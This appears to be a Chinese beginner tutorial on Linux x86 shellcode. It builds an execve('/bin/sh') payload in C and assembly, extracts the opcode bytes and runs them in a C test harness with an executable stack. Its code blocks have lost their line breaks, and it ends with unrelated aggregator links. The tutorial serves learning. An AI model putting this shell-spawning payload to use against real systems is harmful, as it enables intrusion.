二进制入门-打造Linux shellcode基础篇
0x01 前言
0x02 什么是Shellcode
- 直接编写十六进制操作码。
- 使用c语言编写程序,然后进行编译,最后进行反汇编来获取汇编指令和十六进制操作码。
- 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。
0x03 execve系统调用

c语言实现execve系统调用创建shell

|
1
2
3
4
5
6
7
8
9
|
#include <unistd.h>int main(){ char * shell[2]; shell[0]="/bin/sh"; shell[1]=NULL; execve(shell[0],shell,NULL);} |

转向汇编语言

push eax
push 0x68732f2f
push 0x6e69622f
|
1
2
3
4
5
6
7
|
mov ebx,esppush eaxpush ebxmov ecx,espxor edx,edxmov al,0xb ;0xb表示其系统调用号的十六进制,execve的系统调用号为11int 0x80 |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
section .textglobal _start_start:xor eax,eaxpush eaxpush 0x68732f2fpush 0x6e69622fmov ebx,esppush eaxpush ebxmov ecx,espxor edx,edxmov al,0xbint 0x80 |
汇编链接测试
root@kali:~/demo# nasm -f elf test.asm
root@kali:~/demo# ld -o test test.o
root@kali:~/demo#./test
#

0x04 提取十六进制操作码并测试Shellcode

测试shellcode
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <stdio.h>char shellcode[]="\x31\xc0""\x50""\x68\x2f\x2f\x73\x68""\x68\x2f\x62\x69\x6e""\x89\xe3""\x50""\x53""\x89\xe1""\x31\xd2""\xb0\x0b""\xcd\x80";int main(){ void (*fp) (void); fp=(void *)shellcode; fp();} |

sudo apt-get install execstack
execstack -s 程序名

总结
二进制入门-打造Linux shellcode基础篇的更多相关文章
- 小朋友学Linux<一>基础篇
Linux最基础之<小朋友也能学会Linux>... 1.Linux 知识积累: Linux 英文解释为 Linux is not Unix.学习Linux必须要熟练使用的操作系统是Cen ...
- DDD从入门到精通:基础篇
这篇文章主要还是表述清楚DDD相关的基础概念,因为DDD入门有一定的专业名词,还是得有个基本的了解. 先讲解下领域模型作用: 对软件需求进行设计,维持其内在逻辑的一致性 1)划分边界.也是一种高内聚. ...
- linux操作系统基础篇(七)
Linux服务篇(二) 1.nfs服务的搭建 安装: yum install rpcbind nfs-utils -y 配置: NFS服务的配置文件为 /etc/exports,这个文件是NFS的主要 ...
- linux操作系统基础篇(六)
linux服务篇 1.samba服务的搭建 samba的功能: samba是一个网络服务器,用于Linux和Windows之间共享文件.2. samba服务的启动.停止.重启service smb s ...
- linux操作系统基础篇(一)
1.什么是linux? Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CPU的操作系统.它能运行主要的UNIX工具软件.应用程序 ...
- 零基础入门之Linux进程基础
计算机实际上可以做的事情实质上非常简单,比如计算两个数的和,再比如在内存中寻找到某个地址等等.这些最基础的计算机动作被称为指令(instruction).所谓的程序(program),就是这样一系列指 ...
- Linux学习——————基础篇
一.linux试用 1.使用man或者info查询 2.超级简单的文本编辑器:nano 3.sync:数据同步写入磁盘,将内存中的数据写入磁盘 3.惯用的关机命令:shutdown /sbin/shu ...
- linux操作系统基础篇(五)
Linux网络以及rpm安装yum源的配置 1.Linux网络 1. 使用ifconfig命令来维护网络1) fconfig命令的功能:显示所有正在启动的网卡的详细信息或设定系统中网卡的IP地址.2) ...
- linux操作系统基础篇(四)
一.系统监控 1.TOP 命令 1) top命令的功能:top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器. 2) 使用top命令列 ...
随机推荐
- 【Linux】CentOS 7.4 安装 MySQL 8.0.12 解压版
安装环境/工具 1.Linux(CentOS 7.4版) 2.mysql-8.0.12-el7-x86_64.tar.gz 安装步骤 参考:https://dev.mysql.com/doc/refm ...
- HDU - 5658
题意:给你一个字符串,给你Q次询问,每一次问你从l-r里有多少个回文串. 思路:len很小,所以直接遍历区间求就好了. /* gyt Live up to every day */ #include& ...
- linux下面/usr/local和opt目录有何区别
/usr/local下一般是你安装软件的目录,这个目录就相当于在windows下的programefiles这个目录 .很多应用都安装在/usr/local下面,那么,这些应用为什么选择这个目录呢?答 ...
- 使用 jfreechart 生成 曲线、柱状图、饼状图、分布图 展示到JSP
虽然现在JS做报表和图形展示已经非常普遍和漂亮了,但是不能忽略有jfreechart 这样一种东西! 这些翻阅资料,在看以前写的示例时发现了关于jfreechart 的简单示例,不管怎样发上来分享一下 ...
- yum安装nginx 加载image_filter 加载方式
通过yum安装的nginx 加载image_filter方式方法: yum install -y gd-devel libgd gcc libgdyum install -y nginx-module ...
- hadoop mapreduce 写入hbase报错 Session 0x0 for server null, unexpected error, closing socket connection and attempting reconnect
现象:map任务构造数据正常,reduce任务,开始也正常,速度很快 ,在hbase 的管理界面,可以看到,5W以上的请求数 当reduce 执行到 70% 左右的时候,就堵住了,查看yarn的web ...
- 深度优先搜索DFS和广度优先搜索BFS
DFS简介 深度优先搜索,一般会设置一个数组visited记录每个顶点的访问状态,初始状态图中所有顶点均未被访问,从某个未被访问过的顶点开始按照某个原则一直往深处访问,访问的过程中随时更新数组visi ...
- T-SQL查询的逻辑处理过程
对于一个查询SQL而言,通常将其逻辑处理过程分成7个大的阶段 分别是: 1.FROM 2.WHERE 3.GROUP BY 4.HAVING 5.SELECT 6.ORDER BY 7.TOP/OFF ...
- Day1-python基础-变量常量
不积跬步无以至千里 补充上一节字符串的内容: 字符串格式化输出: name = input("name>>") print("My name is %s&qu ...
- 队列<一>
这里用的递归法,采用两种版本,一种是C语言,一种是C++:但是,用C语言没有“引用”,所以采用的是指向指针的指针:而C++具备“引用”,所以直接用&引用,简洁: 先看C++的代码: BiTre ...